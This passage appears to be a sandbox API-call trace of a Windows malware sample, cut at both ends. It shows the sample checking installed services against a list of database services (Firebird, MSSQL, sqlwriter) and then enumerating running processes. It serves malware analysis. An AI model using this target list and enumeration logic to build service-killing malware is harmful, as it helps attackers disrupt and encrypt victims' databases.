lpString2="PlugPlay") returned 1 [0173.692] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0173.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0173.692] lstrlenW (lpString="Power") returned 5 [0173.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0173.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0173.692] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0173.692] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0173.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0173.692] lstrlenW (lpString="ProfSvc") returned 7 [0173.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0173.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0173.692] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0173.692] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0173.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0173.692] lstrlenW (lpString="RpcEptMapper") returned 12 [0173.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0173.692] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0173.692] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0173.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0173.692] lstrlenW (lpString="RpcSs") returned 5 [0173.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0173.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0173.692] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0173.692] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0173.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0173.692] lstrlenW (lpString="SamSs") returned 5 [0173.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0173.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0173.693] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0173.693] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0173.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0173.693] lstrlenW (lpString="Schedule") returned 8 [0173.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0173.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0173.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0173.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0173.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0173.693] lstrlenW (lpString="SecurityHealthService") returned 21 [0173.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0173.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0173.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0173.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0173.696] lstrlenW (lpString="SENS") returned 4 [0173.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0173.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0173.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0173.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0173.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0173.696] lstrlenW (lpString="ShellHWDetection") returned 16 [0173.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0173.696] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0173.696] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0173.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0173.696] lstrlenW (lpString="Spooler") returned 7 [0173.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0173.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0173.696] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0173.696] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0173.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0173.696] lstrlenW (lpString="SSDPSRV") returned 7 [0173.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0173.696] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0173.696] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0173.696] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0173.696] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0173.696] lstrlenW (lpString="StateRepository") returned 15 [0173.696] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0173.697] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0173.697] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0173.697] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0173.697] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800d0 | out: hHeap=0x790000) returned 1 [0173.697] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0173.702] Process32FirstW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0173.703] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0173.704] lstrlenW (lpString="System") returned 6 [0173.704] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0173.704] lstrlenW (lpString="smss.exe") returned 8 [0173.704] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.705] lstrlenW (lpString="csrss.exe") returned 9 [0173.705] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0173.706] lstrlenW (lpString="wininit.exe") returned 11 [0173.706] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0173.706] lstrlenW (lpString="csrss.exe") returned 9 [0173.706] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0173.707] lstrlenW (lpString="winlogon.exe") returned 12 [0173.707] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0173.708] lstrlenW (lpString="services.exe") returned 12 [0173.708] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0173.708] lstrlenW (lpString="lsass.exe") returned 9 [0173.709] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.709] lstrlenW (lpString="svchost.exe") returned 11 [0173.709] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.710] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.710] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0173.711] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0173.711] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.711] lstrlenW (lpString="svchost.exe") returned 11 [0173.711] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0173.712] lstrlenW (lpString="dwm.exe") returned 7 [0173.712] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.713] lstrlenW (lpString="svchost.exe") returned 11 [0173.713] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.713] lstrlenW (lpString="svchost.exe") returned 11 [0173.714] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.714] lstrlenW (lpString="svchost.exe") returned 11 [0173.714] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.715] lstrlenW (lpString="svchost.exe") returned 11 [0173.715] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.716] lstrlenW (lpString="svchost.exe") returned 11 [0173.716] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.716] lstrlenW (lpString="svchost.exe") returned 11 [0173.716] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.717] lstrlenW (lpString="svchost.exe") returned 11 [0173.717] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.718] lstrlenW (lpString="svchost.exe") returned 11 [0173.718] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.718] lstrlenW (lpString="svchost.exe") returned 11 [0173.718] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0173.719] lstrlenW (lpString="spoolsv.exe") returned 11 [0173.719] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.720] lstrlenW (lpString="svchost.exe") returned 11 [0173.720] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.720] lstrlenW (lpString="svchost.exe") returned 11 [0173.720] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0173.721] lstrlenW (lpString="audiodg.exe") returned 11 [0173.721] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0173.722] lstrlenW (lpString="sihost.exe") returned 10 [0173.722] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0173.722] lstrlenW (lpString="svchost.exe") returned 11 [0173.722] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.723] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.723] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0173.724] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0173.724] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0173.725] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0173.725] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0173.725] lstrlenW (lpString="explorer.exe") returned 12 [0173.725] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0173.726] lstrlenW (lpString="Memory Compression") returned 18 [0173.726] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0173.727] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0173.727] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0173.727] lstrlenW (lpString="SearchUI.exe") returned 12 [0173.727] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0173.728] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0173.728] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0173.729] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0173.729] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0173.729] lstrlenW (lpString="taskhostw.exe") returned 13 [0173.729] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0173.730] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0173.730] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0173.731] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0173.731] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0173.731] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0173.731] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0173.732] lstrlenW (lpString="conhost.exe") returned 11 [0173.732] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0173.733] lstrlenW (lpString="screensaver.exe") returned 15 [0173.733] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0173.733] lstrlenW (lpString="upperarc.exe") returned 12 [0173.733] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0173.734] lstrlenW (lpString="buying.exe") returned 10 [0173.734] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0173.735] lstrlenW (lpString="downloadable.exe") returned 16 [0173.735] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0173.735] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0173.735] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0173.736] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0173.736] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0173.737] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0173.737] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0173.737] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0173.738] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0173.738] lstrlenW (lpString="moments.exe") returned 11 [0173.738] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0173.739] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0173.739] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0173.740] lstrlenW (lpString="stream-test.exe") returned 15 [0173.740] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 1 [0173.743] lstrlenW (lpString="crestboatingstuffed.exe") returned 23 [0173.743] Process32NextW (in: hSnapshot=0x304, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, 